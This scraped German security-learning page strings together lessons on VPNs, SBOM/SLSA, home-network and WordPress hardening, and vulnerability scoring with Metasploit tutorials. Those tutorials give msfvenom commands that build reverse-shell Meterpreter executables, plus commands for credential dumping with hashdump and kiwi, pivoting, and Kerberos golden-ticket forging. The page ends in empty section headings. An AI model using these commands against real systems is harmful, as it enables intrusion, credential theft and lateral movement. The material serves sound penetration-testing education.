Kill Switch: Funktion, die den Verkehr sperrt, wenn das VPN abbricht.

Das Prinzip

Ein VPN baut zwischen deinem Gerät und einem VPN-Server einen verschlüsselten Tunnel auf. Alles, was durch den Tunnel läuft, ist auf dem Weg dorthin für Dritte (etwa im öffentlichen WLAN oder beim Internetanbieter) nicht lesbar. Aus Sicht der Zielseite kommt der Verkehr dann vom VPN-Server, nicht von deinem Anschluss.

Zwei sehr verschiedene Einsatzzwecke

Zugang zum Firmen- oder Heimnetz: Du erreichst interne Dienste von außen, als wärst du vor Ort. Hier ist das VPN ein Zugangsweg und Teil der Sicherheitsarchitektur.
Kommerzieller VPN-Dienst: Du leitest deinen Internetverkehr über einen fremden Anbieter. Dein Internetanbieter sieht dann nur den Tunnel, der VPN-Anbieter sieht aber das, was vorher dein Anbieter sah.

Was ein VPN nicht leistet

Keine vollständige Anonymität: Cookies, Geräte-Kennungen und Anmeldungen verraten dich weiterhin.
Kein Schutz vor Schadsoftware oder Phishing – ein Tunnel prüft keine Inhalte.
Keine Verschiebung des Vertrauens zu null: Du vertraust dem VPN-Anbieter. Seine Zusagen („no logs“) kannst du meist nicht selbst prüfen.

Auch ohne VPN sind die meisten Verbindungen im Web heute mit HTTPS (TLS) verschlüsselt. Ein VPN im Café-WLAN ergänzt das, ersetzt aber nicht die Grundregel, nur auf verschlüsselte Seiten zu gehen.

WireGuard

Jason Donenfeld stellte WireGuard im Februar 2017 auf dem NDSS-Symposium vor („WireGuard: Next Generation Kernel Network Tunnel“). Das Ziel war, IPsec und OpenVPN in den meisten Anwendungsfällen abzulösen und dabei sicherer, schneller und einfacher zu sein. Die Implementierung für Linux umfasste in der Veröffentlichung weniger als 4.000 Codezeilen, was Prüfungen erleichtert. Im März 2020 wurde WireGuard in den Linux-Kernel 5.6 aufgenommen.

Beispiel: Zugriff aufs Heimnetz

Du betreibst einen kleinen Server zuhause. Statt Dienste direkt ins Internet zu stellen, richtest du einen WireGuard-Zugang ein und erreichst die Dienste nur durch den Tunnel. So verkleinert sich die Angriffsfläche auf einen einzigen, gut geprüften Dienst.

Frage bei jedem VPN: Wem vertraue ich hier – und wofür brauche ich es?

Zum Selbermachen

Liste auf, wofür du ein VPN nutzen willst, und prüfe, ob HTTPS und Passkeys das Problem nicht schon lösen.
Wenn du ein VPN betreibst: Prüfe, ob nur die nötigen Dienste hinter dem Tunnel erreichbar sind.

Quellen

Jason A. Donenfeld – „WireGuard: Next Generation Kernel Network Tunnel“ (NDSS Symposium 2017, ndss-symposium.org)
BleepingComputer – „Linux Kernel 5.6 Source Tree Includes WireGuard VPN“ (Februar 2020)

Die Modultypen im Überblick

Ein Modul ist ein Stueck Software, das eine bestimmte Aufgabe erfuellt. Das Framework umfasst mehrere tausend davon. Das Startbanner zaehlt sie nach Typ auf.

Die sieben Typen

exploit – nutzt eine konkrete Schwachstelle aus, um Code zur Ausfuehrung zu bringen.
auxiliary – Hilfsmodule fuer Scannen, Informationssammlung (gather), Fuzzing oder DoS, ohne direkt einen Payload auszuliefern.
post – fuer die Phase nach dem Zugriff (Post-Exploitation).
payload – der Code, der nach einem erfolgreichen Exploit auf dem Ziel laeuft.
encoder – bereitet Payloads auf, etwa um bestimmte Zeichen zu vermeiden.
nop – erzeugt Fuellbytes (No-Operation).
evasion – zielt darauf ab, Erkennung zu erschweren.

Referenznamen

Module werden ueber einen hierarchischen Pfad angesprochen, dessen erster Teil den Typ nennt. Beispiele:

exploit/windows/smb/ms17_010_eternalblue
auxiliary/admin/smb/download_file
exploit/unix/misc/distcc_exec

Wo Module liegen

Module liegen im Verzeichnis modules/. Eigene Module kann man unter $HOME/.msf4/ ablegen. Zu beachten ist die Schreibweise: bei exploits, payloads, encoders und nops im Plural, bei auxiliary und post im Singular.

Neue Module, die waehrend einer laufenden Sitzung abgelegt werden, laedt der Befehl reload_all nach.

SBOM und SLSA: Herkunft von Software nachweisen

Begriffe vorab

SBOM: Software Bill of Materials: maschinenlesbare Liste der Bestandteile einer Software.
SPDX: Offenes SBOM-Format, standardisiert als ISO/IEC 5962:2021.
CycloneDX: Weiteres verbreitetes SBOM-Format.
Provenienz: Nachweis, wie, wo und aus welchem Quellcode ein Artefakt gebaut wurde.
SLSA: Supply-chain Levels for Software Artifacts: Rahmen für abgesicherte Build-Prozesse.

Warum eine Stückliste?

Als Log4Shell bekannt wurde, lautete die erste Frage in vielen Organisationen: Setzen wir das ein, und wo? Eine SBOM beantwortet das, weil sie Bestandteile einer Software listet. Die US-Behörde NTIA beschrieb 2021 Mindestangaben: sieben Datenfelder – Lieferant, Komponentenname, Version, weitere eindeutige Kennungen, Abhängigkeitsbeziehung, Autor der SBOM-Daten und Zeitstempel. Dazu kommen Anforderungen an Maschinenlesbarkeit und Abläufe (Häufigkeit, Tiefe, Verteilung).

Formate

Verbreitet sind SPDX (Version 2.2.1 wurde im August 2021 als ISO/IEC 5962:2021 veröffentlicht) und CycloneDX (ein Projekt der OWASP-Community). Moderne Werkzeuge erzeugen sie automatisch aus dem Build.

SLSA: Wie wurde gebaut?

SLSA („Salsa“) wurde von Google initiiert und wird von der OpenSSF betreut. Version 1.0 betrachtet den Build-Track mit den Stufen 0 bis 3:

Stufe 1: Es gibt eine Provenienz, also einen Nachweis, wie das Artefakt gebaut wurde – noch unsigniert.
Stufe 2: Die Provenienz ist signiert und stammt von einer dedizierten Build-Plattform; Manipulation nach dem Build ist erkennbar.
Stufe 3: Die Build-Plattform ist so gehärtet, dass sich Builds nicht gegenseitig manipulieren können.

Nach Berichten wurde die Version 1.2 im November 2025 beschlossen und ergänzt einen Source-Track, der Quellhistorie und Schutz vor nachträglicher Manipulation behandelt.

Wie beides zusammenpasst

Die SBOM sagt was drinsteckt, SLSA sagt wie es entstanden ist. Zusammen helfen sie, nach einem Vorfall schnell zu klären, ob man betroffen ist, und im Vorfeld, Manipulationen im Build zu erschweren.

Beispiel

Ein Team erzeugt bei jedem Build automatisch eine SBOM und legt sie zusammen mit dem Release ab. Wird eine Schwachstelle in einer Bibliothek bekannt, durchsucht das Team die SBOMs aller Releases und kennt innerhalb von Minuten die betroffenen Produkte.

Fang klein an: eine automatisch erzeugte SBOM pro Release bringt bereits viel Nutzen.

Zum Selbermachen

Erzeuge für ein eigenes Projekt mit einem Werkzeug deiner Wahl eine SBOM im SPDX- oder CycloneDX-Format und sieh sie dir an.
Prüfe, ob dein Build-Prozess nachvollziehbar dokumentiert und reproduzierbar ist.

Quellen

NTIA – „The Minimum Elements For a Software Bill of Materials (SBOM)“ (Juli 2021)
ISO/IEC 5962:2021 „Information technology — SPDX® Specification V2.2.1“
CycloneDX – „Authoritative Guide to SBOM“ (cyclonedx.org)
SLSA – Spezifikation (slsa.dev), betreut von der OpenSSF

WLAN, Router und Firewall: das eigene Netz absichern

Begriffe vorab

WPA3: Aktueller WLAN-Sicherheitsstandard der Wi-Fi Alliance.
SAE: Simultaneous Authentication of Equals: Passwort-basierter Schlüsselaustausch von WPA3.
Firewall: Filter, der Netzwerkverkehr nach Regeln erlaubt oder blockiert.
Deny by Default: Alles, was nicht ausdrücklich erlaubt ist, wird blockiert.
Firmware: Betriebssoftware des Routers.

WLAN: WPA2 und WPA3

Die Wi-Fi Alliance stellte WPA3 im Jahr 2018 als Nachfolger von WPA2 vor. Seit Juli 2020 müssen alle Wi-Fi-zertifizierten Geräte WPA3 unterstützen. Kernstück ist SAE: Statt eines gemeinsamen Schlüssels, der mitgeschnitten und offline durchprobiert werden kann, wird bei jedem Verbindungsversuch ein eigener Schlüssel ausgehandelt. Das verhindert Offline-Wörterbuchangriffe, wie sie bei WPA2 möglich sind. Ein gutes Passwort bleibt trotzdem wichtig: Online lässt sich ein schwaches Passwort weiterhin erraten.

Firewall und das Prinzip „Deny by Default“

Das NIST empfiehlt in SP 800-41 Rev. 1, dass Firewalls allen Verkehr blockieren, der nicht ausdrücklich durch die Richtlinie erlaubt ist – in beide Richtungen. Das verringert das Angriffsrisiko und reduziert nebenbei das Verkehrsaufkommen. Es ist dasselbe Prinzip wie „Fail-safe Defaults“ aus der Lektion über Entwurfsprinzipien.

Eine Checkliste für das Heimnetz

Router-Firmware aktuell halten (automatische Updates aktivieren, wenn vorhanden).
Standard-Passwörter des Routers ändern. Vorgegebene Standardpasswörter gelten auch in der CISA-Initiative „Secure by Design“ als Problem.
WLAN mit WPA3 (oder mindestens WPA2) und einem langen, einmaligen Passwort schützen.
Fernzugriff auf die Router-Oberfläche aus dem Internet abschalten.
Gäste und Smart-Home-Geräte in ein eigenes Netz legen, soweit der Router das anbietet.
Nicht benötigte Freigaben (Portweiterleitungen) entfernen.

Der letzte Punkt folgt der Logik der Firewall: Jede offene Tür ist Angriffsfläche, also sollen nur nötige offen sein.

Beispiel: Smart-Home-Gerät

Eine Kamera wird per Portweiterleitung aus dem Internet erreichbar gemacht, damit man von unterwegs zugreifen kann. Besser ist der Zugriff über ein VPN ins Heimnetz: Dann bleibt die Kamera nach außen unsichtbar, und es gibt nur einen einzigen Eintrittspunkt, den du pflegen musst.

Aktuelle Firmware ist die wirksamste einzelne Maßnahme am Router – und die am häufigsten vergessene.

Zum Selbermachen

Rufe die Router-Oberfläche auf und prüfe Firmware-Stand, WLAN-Verschlüsselung und aktive Portweiterleitungen.
Lege ein Gastnetz an und verbinde dort Smart-Home-Geräte.

Quellen

Wi-Fi Alliance – Informationen zu WPA3 (wi-fi.org)
NIST – „SP 800-41 Rev. 1: Guidelines on Firewalls and Firewall Policy“ (2009)
CISA – „Secure by Design Pledge“

WordPress-Sicherheit: validieren, bereinigen, kodieren

Begriffe vorab

Validierung: Prüfen, ob eine Eingabe dem Erwarteten entspricht, und sie sonst ablehnen.
Sanitization: Eingaben bereinigen, bevor sie gespeichert oder weiterverwendet werden.
Escaping: Ausgaben unmittelbar vor der Darstellung kodieren.
Nonce: Einmalig gültiger Wert zum Nachweis, dass eine Anfrage beabsichtigt ist.
Capability: Eine Berechtigung, die vor sensiblen Aktionen geprüft wird.

Die Grundregel

Das WordPress-Entwicklerhandbuch fasst die Datenbehandlung so zusammen: Daten aus nicht vertrauenswürdigen Quellen werden so früh wie möglich validiert und bereinigt und so spät wie möglich kodiert. Validierung lehnt Unpassendes ab, Bereinigung schützt Speicherung und Logik, Escaping schützt die Ausgabe – auch dann, wenn die Daten vorher bereinigt wurden.

Die vier Bausteine einer sicheren Aktion

Berechtigung: Prüfe mit current_user_can(), ob die Person die Aktion ausführen darf.
Absicht: Prüfe einen Nonce, damit keine fremde Seite die Aktion auslösen kann.
Eingaben: validiere und bereinige (wp_unslash und passende sanitize_*-Funktionen).
Ausgabe: kodiere mit passenden esc_*-Funktionen.

function mein_plugin_speichern() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Keine Berechtigung.' );
    }
    check_admin_referer( 'mein_plugin_speichern' );   // Nonce prüfen

    $titel = isset( $_POST['titel'] )
        ? sanitize_text_field( wp_unslash( $_POST['titel'] ) )
        : '';
    update_option( 'mein_plugin_titel', $titel );
}

// Ausgabe
echo esc_html( get_option( 'mein_plugin_titel' ) );

Was ein Nonce nicht ist

Ein Nonce weist nach, dass eine Anfrage aus deiner Oberfläche stammt; er ersetzt keine Berechtigungsprüfung. Beide Prüfungen gehören zusammen – das ist wieder das Prinzip der gestuften Absicherung aus der Lektion über Entwurfsprinzipien.

Typische Fehler

Prüfung nur im Browser (JavaScript) statt auf dem Server.
Ausgabe ohne esc_*, weil „die Daten ja schon bereinigt sind“.
Datenbankabfragen mit zusammengesetzten Zeichenketten statt $wpdb->prepare().
Berechtigungsprüfung vergessen, weil der Link nur Administratoren angezeigt wird.

Prüfe bei jedem Formular- oder AJAX-Handler zuerst die Berechtigung, dann den Nonce, dann die Eingaben.

Zum Selbermachen

Gehe ein eigenes Plugin durch und markiere jeden Handler, dem eine der vier Prüfungen fehlt.
Ersetze eine zusammengesetzte SQL-Abfrage durch eine mit Platzhaltern.

Quellen

WordPress Developer Resources – „Security“ (developer.wordpress.org/themes/advanced-topics/security)
Learn WordPress – „Introduction to securely developing plugins“
WordPress Plugin Handbook – „Common issues“

Module finden, konfigurieren und bewerten

Module finden: search

Mit search filtert man gezielt. Als Suchkriterien dienen unter anderem Modulname, Pfad, Plattform, Autor, Modultyp oder eine CVE-ID. So findet man schnell das Modul zu einer bestimmten Schwachstelle.

msf > search type:exploit platform:windows smb
msf > search cve:2017-0144

Optionen und der Datastore

Jedes Modul besitzt Optionen, die vor dem Ausfuehren gesetzt werden muessen. Sie werden im Datastore gespeichert. In der Optionsuebersicht (show options) steht in der Spalte Required, ob eine Option zwingend ist:

msf exploit(...) > show options
Name    Current Setting  Required  Description
----    ---------------  --------  -----------
RHOSTS                   yes       The target host(s)
RPORT   445              yes       The target port (TCP)

Mit show missing zeigt Metasploit nur die noch fehlenden Pflichtwerte an.

Exploit Ranking

Jeder Exploit traegt ein Ranking, das seine Zuverlaessigkeit und sein Risiko einordnet. Es hilft, ein Modul zu waehlen, das moeglichst zuverlaessig ist und das Ziel nicht zum Absturz bringt.

Ergaenzend beschreiben Modul-Metadaten die Reliability, Side Effects und Stability – also wie verlaesslich ein Modul ist und welche Nebenwirkungen es haben kann.

Schwachstellen verstehen und melden: CVE, CVSS, KEV, EPSS, security.txt

Begriffe vorab

CVE: Eindeutige Kennung einer öffentlich bekannten Schwachstelle.
CVSS: Common Vulnerability Scoring System: Bewertung des Schweregrads von 0 bis 10.
KEV: Known Exploited Vulnerabilities: CISA-Katalog der nachweislich ausgenutzten Schwachstellen.
EPSS: Exploit Prediction Scoring System: Schätzung der Wahrscheinlichkeit einer Ausnutzung.
Coordinated Disclosure: Abgestimmte Veröffentlichung, die Herstellern Zeit zum Beheben gibt.

Vier Begriffe, vier Fragen

CVE: Welche Schwachstelle ist gemeint? Beispiel: CVE-2021-44228 (Log4Shell).
CVSS: Wie schlimm kann sie im schlimmsten Fall sein? Die Version 4.0 wurde am 1. November 2023 vom FIRST veröffentlicht. Sie unterscheidet Base-, Threat-, Environmental- und Supplemental-Metriken. CVSS bewertet den Schweregrad, nicht das konkrete Risiko für dich.
KEV: Wird sie tatsächlich ausgenutzt? Der Katalog der CISA nennt Schwachstellen, für die eine Ausnutzung bekannt ist.
EPSS: Wie wahrscheinlich ist eine Ausnutzung? Ein Modell des FIRST schätzt das.

Priorisieren

Nicht jede „kritische“ Schwachstelle trifft dich gleich. Eine Lücke mit Wert 9,8 in einem System, das nicht aus dem Internet erreichbar ist und keine wichtigen Daten hält, ist weniger dringend als eine mittlere Lücke auf dem öffentlichen Datenbankserver. Eine sinnvolle Reihenfolge: (1) steht sie im KEV-Katalog? (2) Ist das System erreichbar und wichtig? (3) Wie hoch sind CVSS und EPSS? (4) Gibt es Ausweichmaßnahmen?

Schwachstellen melden und empfangen

Wenn du eine Schwachstelle findest, melde sie dem Hersteller auf dem vorgesehenen Weg und gib ihm Zeit zur Behebung (Coordinated Disclosure). Als Betreiber erleichterst du das, indem du eine security.txt bereitstellst. Der Standard RFC 9116 beschreibt dieses maschinenlesbare Format: Es liegt unter /.well-known/security.txt, wird über HTTPS ausgeliefert und enthält Felder wie Contact: mit der Meldeadresse.

Contact: mailto:security@example.org
Expires: 2027-12-31T23:59:00.000Z
Preferred-Languages: de, en
Canonical: https://example.org/.well-known/security.txt

Beispiel

Ein Team erhält Meldungen zu 40 Schwachstellen in Abhängigkeiten. Statt nach CVSS allein zu sortieren, prüft es zuerst die KEV-Liste, danach, welche Komponenten aus dem Internet erreichbar sind, und plant die übrigen in regulären Update-Zyklen ein.

Ein Meldeweg ist Teil von Sicherheit: Wer Hinweise nicht empfangen kann, erfährt von Lücken zuletzt.

Zum Selbermachen

Lege eine security.txt für ein eigenes Projekt an und veröffentliche sie.
Sortiere eine Liste bekannter Schwachstellen nach der obigen Priorisierung.

Quellen

FIRST – „CVSS v4.0 Specification Document“ (first.org/cvss)
CISA – „Known Exploited Vulnerabilities Catalog“
IETF – RFC 9116 „A File Format to Aid in Security Vulnerability Disclosure“

Payload-Anatomie: Singles, Stager und Stages

Ein Payload ist der Code, der nach einem erfolgreichen Exploit auf dem Ziel ausgefuehrt wird – etwa um einen Benutzer anzulegen oder eine Metasploit-Sitzung zu oeffnen. Payload-Module liegen unter modules/payloads/{singles,stages,stagers}/<platform>. Beim Start werden Stages mit Stagern zu vollstaendigen Payloads kombiniert und passende Handler zugeordnet.

Der Referenzname

Zusammengesetzt (staged): <platform>/[arch]/<stage>/<stager> – getrennt durch /, z. B. windows/meterpreter/reverse_tcp.
Einteilig (stageless): <platform>/[arch]/<single> – letzter Teil mit _ verbunden, z. B. windows/meterpreter_reverse_tcp.

Beispiel windows/x64/meterpreter/reverse_tcp: Plattform windows, Architektur x64, Endstufe meterpreter, Stager reverse_tcp. Die Architektur ist optional – bei php/meterpreter/reverse_tcp entfaellt sie, da interpretierter statt nativer Code ausgeliefert wird.

Die drei Bausteine

Singles

Einteilige Payloads nach dem Prinzip „abschicken und vergessen“. Nuetzlich, wenn das Ziel keinen oder nur eingeschraenkten Netzwerkzugang hat, weil sie kein Nachladen ueber das Netz benoetigen.

Stager

Ein kleiner Stub, der zuerst eine Verbindung herstellt und dann die Ausfuehrung an die naechste Stufe uebergibt. Vorteil: kleiner Erstcode laedt einen groesseren nach, und der Transportweg ist von der Endstufe getrennt.

Stages

Da der Stager Groessenbeschraenkungen umgeht und Speicher reserviert, koennen Stages nahezu beliebig gross und in Hochsprachen wie C geschrieben sein.

Auslieferung und Handler

Bei einer shell-Stufe verbindet Metasploit die Ein-/Ausgabe des entfernten Prozesses mit dem Terminal; bei einer Meterpreter-Stufe spricht es das Meterpreter-Protokoll. Dem Payload wird ein Handler zugeordnet, der die eingehende Rueckverbindung entgegennimmt; er laesst sich auch eigenstaendig ueber exploit/multi/handler starten, etwa um einen zuvor mit msfvenom erzeugten Payload abzufangen.

Payloads erzeugen mit msfvenom

Mit msfvenom erzeugt man eigenstaendige Payload-Dateien ausserhalb eines Exploits. Wichtige Schalter:

-p – der Payload (z. B. windows/meterpreter/reverse_tcp).
-f – das Ausgabeformat, z. B. exe, elf, raw oder python.
-b – Bad-Characters, die im erzeugten Payload nicht vorkommen duerfen (z. B. -b "x00" fuer das Nullbyte).
-e – ein Encoder, z. B. x86/shikata_ga_nai, mit -i fuer die Anzahl der Durchlaeufe (Iterationen).
Payload-Optionen wie LHOST und LPORT direkt als Schluessel=Wert.

Beispiele

msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

Diese drei Aufrufe erzeugen funktional gleichwertige EXE-Dateien, weil bei staged Payloads jeweils nur der Stager erstellt wird – die Endstufe (Meterpreter, einfache Shell oder VNC-Einblendung) wird erst spaeter nachgeladen.

Durch eingebaute Zufaelligkeit gleicht keine erzeugte Datei exakt einer anderen – die Dateien sind nur funktional identisch, nicht Byte-fuer-Byte.

Encoder

Ein Encoder wie shikata_ga_nai codiert den Payload um. Sein primaerer Zweck ist, Bad-Characters zu vermeiden und bei jedem Lauf eine etwas andere Byte-Darstellung zu erzeugen – nicht die zuverlaessige Umgehung moderner Virenschutzloesungen, die heute deutlich weiterentwickelte Erkennung nutzen.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 
  -e x86/shikata_ga_nai -i 5 -b "x00" -f exe -o payload.exe

LHOST richtig setzen

Der Wert LHOST bestimmt, wohin der Payload zurueckverbindet. Er muss zur eigenen (ggf. VPN-)Adresse passen – sonst kann die Rueckverbindung nicht aufgebaut werden. Fuer die Gegenstelle startet man einen passenden Handler, z. B. mit exploit/multi/handler.

Sessions verstehen und verwalten

Nach einem erfolgreichen Exploit wird eine Session geoeffnet – entweder eine einfache Shell oder eine Meterpreter-Sitzung. Standardmaessig versucht Metasploit, einen Meterpreter-Payload auszuliefern; gelingt das nicht, oeffnet es eine Shell.

Shell oder Meterpreter

Shell: oeffnet ein Standard-Terminal auf dem Ziel, aehnlich einer normalen Kommandozeile. Shell-Payloads sind einfacher zu starten.
Meterpreter: laeuft im Speicher, spricht ein eigenes Protokoll und gibt Zugriff auf zahlreiche Post-Exploitation-Funktionen, die eine reine Shell nicht bietet.

Sitzungen verwalten

msf > sessions            # alle aktiven Sitzungen anzeigen
msf > sessions -l         # Sitzungen auflisten
msf > sessions -i 2       # Sitzung 2 betreten (interagieren)
msf > sessions -k 2       # Sitzung 2 beenden

Innerhalb einer Sitzung schickt man sie mit background (oder Strg+Z) in den Hintergrund, ohne sie zu beenden.

Mit sessions -C <befehl> laesst sich ein Meterpreter-Befehl ueber mehrere Sitzungen zugleich ausfuehren.

Meterpreter nutzen und Shells aufwerten

Wichtige Meterpreter-Befehle

background / bg – die Sitzung in den Hintergrund legen.
getuid – zeigt den Benutzer, unter dem der Meterpreter-Server aktuell laeuft.
getsystem – versucht mehrere Techniken, um auf einem Windows-Ziel die hoechsten Rechte (NT AUTHORITYSYSTEM) zu erlangen.
hashdump – liest die lokalen Passwort-Hashes (SAM) des Ziels aus; erhoehte Rechte sind dafuer in der Regel noetig.
migrate – verschiebt den Meterpreter-Server in einen anderen, stabileren Prozess, sodass die Sitzung erhalten bleibt, wenn der Ausgangsprozess endet.
load – eine oder mehrere Meterpreter-Erweiterungen laden.
pivot – Pivot-Listener verwalten.
irb – eine interaktive Ruby-Shell in der Sitzung oeffnen.
exit / quit – die Meterpreter-Sitzung beenden.

Eine Shell zu Meterpreter aufwerten

Hat man nur eine einfache Shell, laesst sie sich mit dem Post-Modul post/multi/manage/shell_to_meterpreter aufwerten:

msf > use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

Kurzform ist sessions -u <id>. Diese Kurzform nutzt jedoch nur den Standard-Reverse-Meterpreter und funktioniert daher nicht zuverlaessig ueber ein Pivot.

Ueber ein Pivot muss man LHOST und LPORT von Hand setzen, weil das Sitzungsobjekt diese Angaben nicht zwingend kennt. Fuer feine Kontrolle dienen die Optionen PAYLOAD_OVERRIDE, PLATFORM_OVERRIDE und unter Windows PSH_ARCH_OVERRIDE.

Erweiterungen laden

Ueber load holt man Zusatzfunktionen in die Sitzung. So laedt z. B. load kiwi die mimikatz-basierte kiwi-Erweiterung, mit der sich unter anderem Anmeldedaten und Kerberos-Tickets aus dem Speicher lesen lassen.

Post-Module und Datenbankunterstützung

Post-Exploitation

Post-Module arbeiten auf einem bereits kompromittierten System – sie sammeln Informationen (gather), lesen Konfigurationen aus oder bereiten weitere Schritte vor. Sie werden gegen eine bestehende Sitzung ausgefuehrt, typischerweise ueber die Option SESSION.

Datenbankunterstuetzung

Metasploit kann eine PostgreSQL-Datenbank anbinden, um Ergebnisse wie Hosts, Dienste und Zugangsdaten zu speichern und den Arbeitsstand zu organisieren.

db_status – prueft die Datenbankverbindung.
db_nmap – fuehrt nmap aus und speichert die Ergebnisse in der Datenbank (nur mit angebundener Datenbank verfuegbar).
hosts / services – zeigen gespeicherte Hosts bzw. Dienste an.
workspace – wechselt zwischen getrennten Arbeitsbereichen, um Ergebnisse z. B. je Projekt oder Kunde zu trennen.

Ohne Datenbank laeuft die Konsole zwar weiter, aber datenbankabhaengige Befehle wie db_nmap stehen dann nicht zur Verfuegung.

Loot

Gesammelte Artefakte – etwa Hashes oder Ticket-Dateien – werden als Loot in der Datenbank abgelegt und lassen sich mit dem Befehl loot auflisten. Das erspart die manuelle Verwaltung von Dateien.

Pivoting durch Netzwerke

Pivoting bezeichnet die Technik, ein bereits kompromittiertes System als Zwischenstation (Sprungpunkt) zu nutzen, um weitere, sonst nicht erreichbare Netzsegmente anzusprechen. So gelangt man von einem „Randsystem“ tiefer in ein Netzwerk.

Wie Metasploit pivotet

Ueber eine bestehende Meterpreter-Sitzung leitet Metasploit Verbindungen in das intern erreichbare Netz weiter. Zwei zentrale Werkzeuge dafuer:

autoroute (bzw. das Modul post/multi/manage/autoroute) traegt eine Route in die interne Routing-Tabelle von Metasploit ein, sodass weitere Module (Scanner, Exploits) den Verkehr automatisch durch die bestehende Sitzung ins interne Netz schicken.
portfwd richtet ueber die Meterpreter-Sitzung eine gezielte Portweiterleitung ein, sodass ein einzelner interner Dienst lokal auf dem Angreifer-Rechner erreichbar wird.

meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.5

Der Meterpreter-Befehl pivot verwaltet zusaetzlich Pivot-Listener. Moderne Metasploit-Versionen unterstuetzen Pivoting ueber Sitzungen „out of the box“.

Stolpersteine

Aktionen, die eine Rueckverbindung aufbauen, funktionieren ueber ein Pivot nur, wenn LHOST und LPORT passend gesetzt sind. Beim Aufwerten einer Shell scheitert die Kurzform sessions -u daher ueber ein Pivot – hier belegt man die Werte im Modul shell_to_meterpreter von Hand.

Typischer Ablauf

Ein Randsystem kompromittieren und eine Meterpreter-Sitzung erhalten.
Mit autoroute das interne Netz fuer weitere Module erreichbar machen.
Weitere Module (z. B. Scanner oder post-Module) gegen die nun erreichbaren internen Ziele ausfuehren, oder einzelne Dienste per portfwd lokal verfuegbar machen.

Kerberos-Grundlagen in Metasploit

Ab Version 6.3 bietet Metasploit native Unterstuetzung fuer Kerberos – das Authentifizierungsprotokoll, das vor allem in Active Directory genutzt wird. Damit lassen sich Tickets anfordern, faelschen, umwandeln und pruefen; gewonnene Tickets werden als Loot in der Datenbank zwischengespeichert.

Das KDC-Modell

Das Key Distribution Center (KDC) besteht aus zwei Teilen:

Authentication Server (AS) – authentifiziert den Client (ueber ein Geheimnis wie das Passwort oder per PKINIT mit Zertifikaten) und gibt bei Erfolg ein Ticket Granting Ticket (TGT) aus.
Ticket Granting Server (TGS) – nimmt das TGT plus die gewuenschten Dienstdaten entgegen und gibt ein Service Ticket zurueck. In Kerberos-Werkzeugen, auch in Metasploit, heissen diese Service Tickets ebenfalls TGS.

Service Tickets dienen dem Zugriff auf Dienste wie SMB oder WinRM.

SID und RID

In Active Directory identifiziert ein Security Identifier (SID) Benutzer, Gruppen und Computer eindeutig, z. B. S-1-5-21-1266190811-2419310613-1856291569-500. Der letzte Teil ist der Relative Identifier (RID) – das Administrator-Konto hat den RID 500. Diese Angaben braucht man etwa beim Modul auxiliary/admin/kerberos/forge_ticket.

Tickets betrachten

Mit klist zeigt Metasploit den Kerberos-Ticket-Cache an. Angeforderte Tickets werden als MIT-Credential-Cache-Dateien im Loot gespeichert, sodass keine manuelle Verwaltung von Umgebungsvariablen noetig ist.

AD-Angriffstechniken mit Metasploit

Metasploit buendelt mehrere Module fuer typische Active-Directory-Techniken. Sie liegen unter auxiliary/admin/kerberos/ und auxiliary/gather/.

Kerberoasting

Kerberoasting findet Service Principal Names (SPN), die in Active Directory mit normalen Benutzerkonten verknuepft sind, und fordert dafuer Service Tickets (TGS) beim KDC an. Diese Tickets sind mit dem Passwort des Dienstkontos verschluesselt – da solche Passwoerter von Menschen gesetzt und oft schwach sind, lassen sie sich ggf. per Brute Force offline knacken. Metasploit liefert dafuer das native Modul auxiliary/gather/kerberoast, das den Hash in der Datenbank speichert.

Tickets anfordern: get_ticket

Das Modul auxiliary/admin/kerberos/get_ticket fordert bei Kenntnis von Passwort, NT-Hash oder Schluessel ein TGT (Aktion GET_TGT) oder ein TGS (Aktion GET_TGS) an:

msf auxiliary(admin/kerberos/get_ticket) > run action=GET_TGT rhosts=10.0.0.24 
    domain=mylab.local username=Administrator nthash=<hash>

Tickets faelschen: forge_ticket

Das Modul auxiliary/admin/kerberos/forge_ticket erstellt gefaelschte Tickets:

Golden Ticket (FORGE_GOLDEN) – ein gefaelschtes TGT, benoetigt u. a. den NT-Hash des krbtgt-Kontos, die DOMAIN_SID, einen USER und dessen USER_RID.
Silver Ticket (FORGE_SILVER) – ein gefaelschtes Service Ticket.
Diamond und Sapphire – TGTs, die den PAC eines vorhandenen Nutzers kopieren.

Weitere Ticket-Werkzeuge

inspect_ticket – ein Ticket untersuchen und debuggen.
ticket_converter – zwischen den Formaten kirbi und ccache umwandeln.
keytab – Keytab-Dateien erzeugen, um Kerberos-Netzwerkverkehr (z. B. in Wireshark) zu entschluesseln.

Diese Techniken sind ausschliesslich fuer autorisierte Tests gedacht. Das Faelschen von Tickets setzt bereits kompromittierte Schluessel (etwa den krbtgt-Hash) voraus und darf nur in Umgebungen mit ausdruecklicher Erlaubnis eingesetzt werden.

Security

Security

DNS verstehen: das Telefonbuch des Internets

Begriffe vorab

Was DNS tut

Eine Anfrage Schritt für Schritt

Wo die Sicherheitsprobleme liegen

Zwei Gegenmittel mit verschiedenen Zielen

Beispiel: Domain absichern

Zum Selbermachen

Verwandte Themen

Quellen

Lieferkettenangriffe und der Cyber Resilience Act

Begriffe vorab

Warum die Lieferkette zählt

Ein Fall: XZ Utils (2024)

Was daraus folgt

Der Cyber Resilience Act

Beispiel: Plugin-Hersteller

Zum Selbermachen

Verwandte Themen

Quellen

Literatur und Lesepfad: Security

Begriffe vorab

Wie die Liste aufgebaut ist

1. Grundlagen

2. Webanwendungen

3. Identität und Transport

4. Lieferkette und Betrieb

5. Normen und Recht

Ein Lesepfad für Einsteiger

So liest du Sicherheitsquellen

Zum Selbermachen

Verwandte Themen

Quellen

Normen im Überblick: NIST CSF 2.0, ISO 27001, BSI IT-Grundschutz

Begriffe vorab

Drei Wege, Sicherheit zu strukturieren

NIST Cybersecurity Framework 2.0

ISO/IEC 27001:2022

BSI IT-Grundschutz

Wie wählt man?

Beispiel: kleines Unternehmen

Zum Selbermachen

Verwandte Themen

Quellen

Open Source und Sicherheit: Heartbleed, Log4Shell und die Lehren daraus

Begriffe vorab

Offen heißt nicht automatisch geprüft

Heartbleed (2014)

Log4Shell (2021)

Die Lehren

